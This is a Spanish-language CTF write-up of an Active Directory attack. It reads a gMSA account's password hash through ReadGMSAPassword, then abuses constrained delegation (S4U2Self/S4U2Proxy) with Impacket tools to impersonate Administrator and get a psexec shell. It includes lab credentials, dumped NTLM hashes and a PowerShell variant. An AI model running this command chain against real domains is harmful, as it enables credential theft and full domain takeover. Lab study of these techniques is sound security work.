GMSA abusing and s4u delegation attack [ReadGMSAPassword] + [AllowedToDelegate]
Descripción del ataque
Este ataque aprovecha dos permisos clave para comprometer un entorno de Active Directory mediante una cuenta de servicio administrada de grupo (gMSA):
-
ReadGMSAPassword: Este permiso permite leer la contraseña Kerberos asociada a la cuenta gMSA. Utilizando herramientas como
gMSADumper.py
, se extrae el hash NTLM de la cuenta de servicio, lo que proporciona acceso inicial para realizar operaciones en su contexto. -
AllowedToDelegate: Este permiso habilita la delegación de credenciales, lo que permite a la cuenta gMSA actuar en nombre de otros usuarios. Combinando los ataques S4U2Self y S4U2Proxy, es posible generar un Ticket de Servicio (ST) para un SPN arbitrario (por ejemplo,
cifs/dc.intelligence.htb
) e impersonar a un usuario privilegiado comoAdministrator
.
El resultado final es el acceso a recursos protegidos o sistemas críticos, explotando la configuración indebida de permisos en la cuenta gMSA.
Objetivo y ejemplo de uso en un CTF
- El objetivo es obtener un Ticket de Servicio (ST) para un SPN arbitrario (como
cifs/dc.intelligence.htb
) impersonando a un usuario privilegiado, aprovechando que la cuentasvc_int$
tiene permiso para delegar.
Herramientas utilizadas
Pasos del ataque
- Ejecutar
gMSADumper.py
para extraer el hash NTLM de la cuentasvc_int$
:python3 gMSADumper.py -u 'TED.GRAVES' -p 'Mr.Teddy' -d 'intelligence.htb'
Resultado:
svc_int$:::b05dfb2636385604c6d36b0ca61e35cb
- Utilizar
getTGT.py
para obtener un TGT usando el hash NTLM desvc_int$
:getTGT.py 'INTELLIGENCE.HTB/svc_int$' -hashes :b05dfb2636385604c6d36b0ca61e35cb export KRB5CCNAME=/home/kali/svc_int$.ccache
- Impersonar al usuario
Administrator
congetST.py
:getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -hashes :b05dfb2636385604c6d36b0ca61e35cb
Resultado:
[*] Requesting S4U2Proxy [*] Saving ticket in Administrator@[email protected]
- Exportar el nuevo ticket:
export KRB5CCNAME=Administrator@[email protected]
- Conectarse al sistema objetivo con
psexec.py
:psexec.py -k -no-pass INTELLIGENCE.HTB/[email protected]
Ejemplo de salida:
Microsoft Windows [Version 10.0.17763.1879] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> type c:\Users\Administrator\Desktop\root.txt 1375c5a7e7b13d7d9e063dd4629cb806
Versión en powershell
- Script
. .\Invoke-GMSAPasswordReader.ps1
- Invoke-GMSAPasswordReader -Command “–AccountName USERNAME”
Calculating hashes for Old Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : 618DE65B979E02BA8D4118394450BA41
[*] aes128_cts_hmac_sha1 : ED920AFCE973A7275C2E704311A13B02
[*] aes256_cts_hmac_sha1 : 014BB8032BF1D4041F63B63BABD2065A425849953F0DC216643E0758C575BED9
[*] des_cbc_md5 : 2A40AB6BAD9201B0
Calculating hashes for Current Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : 007A95BE1BE6ED38DEB848A388655B05
[*] aes128_cts_hmac_sha1 : 92627F30F3BAEFD4BCE8E6CC6BF2C601
[*] aes256_cts_hmac_sha1 : 203AA540B041FE0E2D6718A3FCCB11DAE2EA659B6844C3B324DEEBEF52E10FBD
[*] des_cbc_md5 : BAC21A8F5D1576C2
- siendo
007A95BE1BE6ED38DEB848A388655B05
el NT hash de la cuenta
Referencias
ReadGMSAPassword
- Retrieving Cleartext gMSA Passwords from Active Directory
- DSInternals PowerShell Module
- PSgMSAPwd
- Active Directory Security - gMSA
- Active Directory Security - Delegation Abuse
- Event ID 4662
- The Hacker Recipes - ReadGMSAPassword